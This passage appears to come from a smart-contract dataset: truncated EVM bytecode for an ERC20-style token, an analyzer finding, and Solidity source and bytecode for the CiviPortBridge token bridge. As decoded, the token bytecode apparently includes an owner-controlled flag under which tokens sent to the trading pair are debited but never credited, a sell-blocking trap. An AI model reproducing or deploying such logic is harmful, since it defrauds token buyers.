ffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600660009054906101000a900460ff16905090565b60006109e333846109de85600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110cf90919063ffffffff16565b611157565b6001905092915050565b6109f73382611a08565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610a7b82604051806060016040528060248152602001611cd360249139610a6c8633610ff5565b6119489092919063ffffffff16565b9050610a88833383611157565b610a928383611a08565b505050565b606060018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b2f5780601f10610b0457610100808354040283529160200191610b2f565b820191906000526020600020905b815481529060010190602001808311610b1257829003601f168201915b5050505050905090565b610b42336108d7565b610b4b57600080fd5b6000600660029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610bb857600080fd5b505afa158015610bcc573d6000803e3d6000fd5b505050506040513d6020811015610be257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610c5557600080fd5b505afa158015610c69573d6000803e3d6000fd5b505050506040513d6020811015610c7f57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015610cf957600080fd5b505af1158015610d0d573d6000803e3d6000fd5b505050506040513d6020811015610d2357600080fd5b8101908080519060200190929190505050600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d813082600554611157565b8073ffffffffffffffffffffffffffffffffffffffff1663f305d719343060648660ff166005540281610db057fe5b04600080600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b158015610e5c57600080fd5b505af1158015610e70573d6000803e3d6000fd5b50505050506040513d6060811015610e8757600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050505050565b6000610f683384610f6385604051806060016040528060258152602001611d6160259139600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119489092919063ffffffff16565b611157565b6001905092915050565b6000610f7f33848461134e565b6001905092915050565b610f92336108d7565b610f9b57600080fd5b60011515600660019054906101000a900460ff1615151415610fd7576000600660016101000a81548160ff021916908315150217905550610ff3565b6001600660016101000a81548160ff0219169083151502179055505b565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611085336108d7565b61108e57600080fd5b6110cc30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660648460ff1660055402816110c657fe5b0461134e565b50565b60008082840190508381101561114d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111dd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611d3d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611263576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611c636022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113d4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611d186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561145a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611c1e6023913960400191505060405180910390fd5b611465838383611bce565b6114d181604051806060016040528060268152602001611c8560269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119489092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061159b57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115d157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156116d55761162881600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110cf90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3611943565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118475760011515600660019054906101000a900460ff16151514156118425761179981600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110cf90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b611942565b61189981600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110cf90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b5b505050565b60008383111582906119f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119ba57808201518184015260208101905061199f565b50505050905090810190601f1680156119e75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611cf76021913960400191505060405180910390fd5b611a9a82600083611bce565b611b0681604051806060016040528060228152602001611c4160229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119489092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b5e81600454611bd390919063ffffffff16565b600481905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b505050565b6000611c1583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611948565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208ddf1ec24b152fd10e9d1b34a0b5c0a74a357e56818e84d0541de8da13c5691d64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,990 |
0x8cf5dbd2c831ba3bdc3335b876f22fc68dd18f76
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Author: Steve Medley
// https://github.com/Civitas-Fundamenta
// steve@fundamenta.network
interface TokenInterface {
function mintTo(address user, uint256 amount) external;
function burnFrom(address user, uint256 amount) external;
}
// Author: Steve Medley
// https://github.com/Civitas-Fundamenta
// steve@fundamenta.network
library Signer
{
function recoverSigner(bytes32 dataHash, bytes memory sig) internal pure returns (address)
{
require(sig.length == 65, "Signature incorrect length");
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(sig, 0x20))
s := mload(add(sig, 0x40))
v := byte(0, mload(add(sig, 0x60)))
}
return ecrecover(dataHash, v, r, s);
}
function recoverPrefixedTxData(bytes memory sig, bytes memory txData) internal pure returns (address)
{
bytes memory prefix = "\x19Ethereum Signed Message:\n112";
bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, txData));
address signer = recoverSigner(prefixedHash, sig);
return signer;
}
function recover(bytes memory sig, bytes memory txData) internal pure returns (address)
{
address signer = recoverSigner(keccak256(txData), sig);
return signer;
}
}
// Author: Steve Medley
// https://github.com/Civitas-Fundamenta
// steve@fundamenta.network
library BitShifter
{
function readUint64(bytes memory buffer, uint offset) internal pure returns (uint64)
{
require(buffer.length >= offset + 32, "Uint64 out of range");
uint256 res;
assembly {
res := mload(add(buffer, add(0x20, offset)))
}
return uint64(res >> 192);
}
function readUint256(bytes memory buffer, uint offset) internal pure returns (uint256)
{
require(buffer.length >= offset + 32, "Uint256 out of range");
uint256 res;
assembly {
res := mload(add(buffer, add(0x20, offset)))
}
return res;
}
function readAddress(bytes memory buffer, uint offset) internal pure returns (address)
{
require(buffer.length >= offset + 32, "Address out of range");
address res;
assembly {
res := mload(add(buffer, add(0x20, offset)))
}
return res;
}
function decompose(bytes memory txData) internal pure returns (uint256, uint64, uint64, uint256, address)
{
uint256 numTokens = readUint256(txData, 0);
uint64 withdrawalBridgeId = readUint64(txData, 32);
uint64 depositBridgeId = readUint64(txData, 40);
uint256 nonce = readUint256(txData, 48);
address user = readAddress(txData, 80);
return ( numTokens, withdrawalBridgeId, depositBridgeId, nonce, user );
}
}
// Author: Steve Medley
// https://github.com/Civitas-Fundamenta
// steve@fundamenta.network
// Author: Steve Medley
// https://github.com/Civitas-Fundamenta
// steve@fundamenta.network
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping (address => bool) members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId
|| super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override {
require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override {
require(hasRole(getRoleAdmin(role), _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
abstract contract SecureContract is AccessControl
{
event ContractPaused (uint height, address user);
event ContractUnpaused (uint height, address user);
bytes32 public constant _ADMIN = keccak256("_ADMIN");
bool private paused_;
modifier pause()
{
require(!paused_, "Contract is paused");
_;
}
modifier isAdmin()
{
require(hasRole(_ADMIN, msg.sender), "Permission denied");
_;
}
constructor()
{
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(_ADMIN, msg.sender);
paused_ = true;
}
function setPaused(bool paused) public isAdmin
{
if (paused != paused_)
{
paused_ = paused;
if (paused)
emit ContractPaused(block.number, msg.sender);
else
emit ContractUnpaused(block.number, msg.sender);
}
}
function queryPaused() public view returns (bool)
{
return paused_;
}
}
contract CiviPortBridge is SecureContract
{
bytes32 public constant _DEPOSIT = keccak256("_DEPOSIT");
event Deposit(uint256 indexed nonce, bytes data);
event Withdraw(uint256 indexed nonce, bytes data);
mapping(uint256 => bool) private withdrawNonces;
mapping(uint256 => bool) private depositNonces;
TokenInterface private token_;
uint64 private bridgeId_;
uint8 private numSigners_;
using BitShifter for bytes;
constructor(address tokenContract, uint64 bridgeId, uint8 numSigners) SecureContract()
{
_setupRole(_DEPOSIT, msg.sender);
_setRoleAdmin(_DEPOSIT, _ADMIN);
token_ = TokenInterface(tokenContract);
bridgeId_ = bridgeId;
numSigners_ = numSigners;
}
function queryWithdrawNonceUsed(bytes memory nonceBytes) public view returns (bool)
{
uint256 nonce = nonceBytes.readUint256(0);
return withdrawNonces[nonce];
}
function queryDepositNonceUsed(bytes memory nonceBytes) public view returns (bool)
{
uint256 nonce = nonceBytes.readUint256(0);
return depositNonces[nonce];
}
function queryToken() public view returns (TokenInterface)
{
return token_;
}
function queryBridgeID() public view returns (uint64)
{
return bridgeId_;
}
function queryConfirmationCount() public view returns (uint8)
{
return numSigners_;
}
function setConfirmationCount(uint8 count) public isAdmin
{
numSigners_ = count;
}
function exists(address[] memory array, address entry) private pure returns (bool)
{
uint len = array.length;
for (uint i = 0; i < len; i++)
{
if (array[i] == entry)
return true;
}
return false;
}
function deposit(bytes memory clientSignature, bytes[] memory serverSignatures, bytes memory transactionData) public pause
{
address clientSigner = Signer.recoverPrefixedTxData(clientSignature, transactionData);
uint8 sigCount = (uint8)(serverSignatures.length);
require (sigCount >= numSigners_, "Not enough signatures");
address[] memory usedAddresses = new address[](numSigners_);
for (uint i = 0; i < numSigners_; i++)
{
address serverSigner = Signer.recoverPrefixedTxData(serverSignatures[i], transactionData);
require (hasRole(_DEPOSIT, serverSigner), "Multisig signer not permitted");
require (!exists(usedAddresses, serverSigner), "Duplicate multisig signer");
usedAddresses[i] = serverSigner;
}
uint256 numTokens;
uint64 withdrawalBridgeId;
uint64 depositBridgeId;
uint256 nonce;
address user;
(numTokens, withdrawalBridgeId, depositBridgeId, nonce, user) = transactionData.decompose();
require (clientSigner == user, "Not signed by client");
require (clientSigner == msg.sender, "Not sent by client");
require (depositBridgeId == bridgeId_, "Incorrect network");
require (!depositNonces[nonce], "Nonce already used");
token_.mintTo(user, numTokens);
depositNonces[nonce] = true;
emit Deposit(nonce, transactionData);
}
function withdraw(bytes memory clientSignature, bytes memory transactionData) public pause
{
address signer = Signer.recoverPrefixedTxData(clientSignature, transactionData);
uint256 numTokens;
uint64 withdrawalBridgeId;
uint64 depositBridgeId;
uint256 nonce;
address user;
(numTokens, withdrawalBridgeId, depositBridgeId, nonce, user) = transactionData.decompose();
require (signer == user, "Not signed by client");
require (signer == msg.sender, "Not sent by client");
require (withdrawalBridgeId == bridgeId_, "Incorrect network");
require (!withdrawNonces[nonce], "Nonce already used");
token_.burnFrom(user, numTokens);
withdrawNonces[nonce] = true;
emit Withdraw(nonce, transactionData);
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806351557289116100ad578063ae9bfe8411610071578063ae9bfe8414610290578063cda428f4146102af578063d547741f146102ba578063d760f245146102cd578063d82bad68146102e057600080fd5b806351557289146102205780638838a4881461024757806391d148541461025a578063a217fddf1461026d578063ae06101f1461027557600080fd5b8063248a9ca3116100f4578063248a9ca3146101a35780632f2ff15d146101d4578063352abb54146101e757806336568abe146101fa57806350fbe2d91461020d57600080fd5b806301ffc9a7146101265780630a19667f1461014e5780630f7319201461017b57806316c38b3c1461018e575b600080fd5b610139610134366004611300565b610307565b60405190151581526020015b60405180910390f35b600454600160a01b900467ffffffffffffffff1660405167ffffffffffffffff9091168152602001610145565b610139610189366004611328565b61033e565b6101a161019c366004611287565b610364565b005b6101c66101b13660046112ae565b60009081526020819052604090206001015490565b604051908152602001610145565b6101a16101e23660046112c6565b610471565b6101a16101f5366004611363565b610500565b6101a16102083660046112c6565b6109ab565b6101a161021b366004611469565b610a25565b6101c67fae6c2fc584631af4c9385b8a55683f1a75c813747e27efef5afece31c6b230d381565b6101a16102553660046114ca565b610ca9565b6101396102683660046112c6565b610d33565b6101c6600081565b6004546040516001600160a01b039091168152602001610145565b600454600160e01b900460ff1660405160ff9091168152602001610145565b60015460ff16610139565b6101a16102c83660046112c6565b610d5c565b6101396102db366004611328565b610ddc565b6101c67f587067af7acf278357651084bc3b5223d9fae81a768c4f25238b853ff2756ada81565b60006001600160e01b03198216637965db0b60e01b148061033857506301ffc9a760e01b6001600160e01b03198316145b92915050565b60008061034b8382610e02565b60009081526002602052604090205460ff169392505050565b61038e7fae6c2fc584631af4c9385b8a55683f1a75c813747e27efef5afece31c6b230d333610d33565b6103d35760405162461bcd60e51b815260206004820152601160248201527014195c9b5a5cdcda5bdb8819195b9a5959607a1b60448201526064015b60405180910390fd5b60015460ff1615158115151461046e576001805460ff1916821580159190911790915561043557604080514381523360208201527fd8c9c5623123df8e137854c59a08f9084b75609fe24584228d44ffdce5ab920a910160405180910390a150565b604080514381523360208201527f1e7a7234ad01ed7353bf129217f5c162773639a6cb22773e84bcd5a2b0ef362e910160405180910390a15b50565b60008281526020819052604090206001015461048e905b33610d33565b6104f25760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60448201526e0818591b5a5b881d1bc819dc985b9d608a1b60648201526084016103ca565b6104fc8282610e5f565b5050565b60015460ff16156105485760405162461bcd60e51b815260206004820152601260248201527110dbdb9d1c9858dd081a5cc81c185d5cd95960721b60448201526064016103ca565b60006105548483610ee3565b83516004549192509060ff600160e01b909104811690821610156105b25760405162461bcd60e51b81526020600482015260156024820152744e6f7420656e6f756768207369676e61747572657360581b60448201526064016103ca565b600454600090600160e01b900460ff1667ffffffffffffffff8111156105e857634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610611578160200160208202803683370190505b50905060005b600454600160e01b900460ff1681101561077957600061065e87838151811061065057634e487b7160e01b600052603260045260246000fd5b602002602001015187610ee3565b905061068a7f587067af7acf278357651084bc3b5223d9fae81a768c4f25238b853ff2756ada82610d33565b6106d65760405162461bcd60e51b815260206004820152601d60248201527f4d756c7469736967207369676e6572206e6f74207065726d697474656400000060448201526064016103ca565b6106e08382610f61565b1561072d5760405162461bcd60e51b815260206004820152601960248201527f4475706c6963617465206d756c7469736967207369676e65720000000000000060448201526064016103ca565b8083838151811061074e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03909216602092830291909101909101525080610771816115c6565b915050610617565b50600080600080600061078b89610fd9565b9398509196509450925090506001600160a01b03888116908216146107e95760405162461bcd60e51b8152602060048201526014602482015273139bdd081cda59db995908189e4818db1a595b9d60621b60448201526064016103ca565b6001600160a01b03881633146108365760405162461bcd60e51b8152602060048201526012602482015271139bdd081cd95b9d08189e4818db1a595b9d60721b60448201526064016103ca565b60045467ffffffffffffffff848116600160a01b909204161461088f5760405162461bcd60e51b8152602060048201526011602482015270496e636f7272656374206e6574776f726b60781b60448201526064016103ca565b60008281526003602052604090205460ff16156108e35760405162461bcd60e51b8152602060048201526012602482015271139bdb98d948185b1c9958591e481d5cd95960721b60448201526064016103ca565b600480546040516308934a5f60e31b81526001600160a01b03848116938201939093526024810188905291169063449a52f890604401600060405180830381600087803b15801561093357600080fd5b505af1158015610947573d6000803e3d6000fd5b50505060008381526003602052604090819020805460ff19166001179055518391507f39ad770f9ce7344fadb857c83f6206aa00bf105d7ff26b65d54cdadad280be8e90610996908c9061151a565b60405180910390a25050505050505050505050565b6001600160a01b0381163314610a1b5760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201526e103937b632b9903337b91039b2b63360891b60648201526084016103ca565b6104fc828261103c565b60015460ff1615610a6d5760405162461bcd60e51b815260206004820152601260248201527110dbdb9d1c9858dd081a5cc81c185d5cd95960721b60448201526064016103ca565b6000610a798383610ee3565b90506000806000806000610a8c87610fd9565b9398509196509450925090506001600160a01b0386811690821614610aea5760405162461bcd60e51b8152602060048201526014602482015273139bdd081cda59db995908189e4818db1a595b9d60621b60448201526064016103ca565b6001600160a01b0386163314610b375760405162461bcd60e51b8152602060048201526012602482015271139bdd081cd95b9d08189e4818db1a595b9d60721b60448201526064016103ca565b60045467ffffffffffffffff858116600160a01b9092041614610b905760405162461bcd60e51b8152602060048201526011602482015270496e636f7272656374206e6574776f726b60781b60448201526064016103ca565b60008281526002602052604090205460ff1615610be45760405162461bcd60e51b8152602060048201526012602482015271139bdb98d948185b1c9958591e481d5cd95960721b60448201526064016103ca565b6004805460405163079cc67960e41b81526001600160a01b0384811693820193909352602481018890529116906379cc679090604401600060405180830381600087803b158015610c3457600080fd5b505af1158015610c48573d6000803e3d6000fd5b50505060008381526002602052604090819020805460ff19166001179055518391507f9e817a273ceb82157d1f8e11c7d5549ada176ef895a9ffe5e37b49de76d29e2d90610c97908a9061151a565b60405180910390a25050505050505050565b610cd37fae6c2fc584631af4c9385b8a55683f1a75c813747e27efef5afece31c6b230d333610d33565b610d135760405162461bcd60e51b815260206004820152601160248201527014195c9b5a5cdcda5bdb8819195b9a5959607a1b60448201526064016103ca565b6004805460ff909216600160e01b0260ff60e01b19909216919091179055565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b600082815260208190526040902060010154610d7790610488565b610a1b5760405162461bcd60e51b815260206004820152603060248201527f416363657373436f6e74726f6c3a2073656e646572206d75737420626520616e60448201526f2061646d696e20746f207265766f6b6560801b60648201526084016103ca565b600080610de98382610e02565b60009081526003602052604090205460ff169392505050565b6000610e0f82602061157e565b83511015610e565760405162461bcd60e51b815260206004820152601460248201527355696e74323536206f7574206f662072616e676560601b60448201526064016103ca565b50016020015190565b610e698282610d33565b6104fc576000828152602081815260408083206001600160a01b03851684529091529020805460ff19166001179055610e9f3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b6000806040518060400160405280601d81526020017f19457468657265756d205369676e6564204d6573736167653a0a313132000000815250905060008184604051602001610f339291906114eb565b6040516020818303038152906040528051906020012090506000610f5782876110a1565b9695505050505050565b8151600090815b81811015610fce57836001600160a01b0316858281518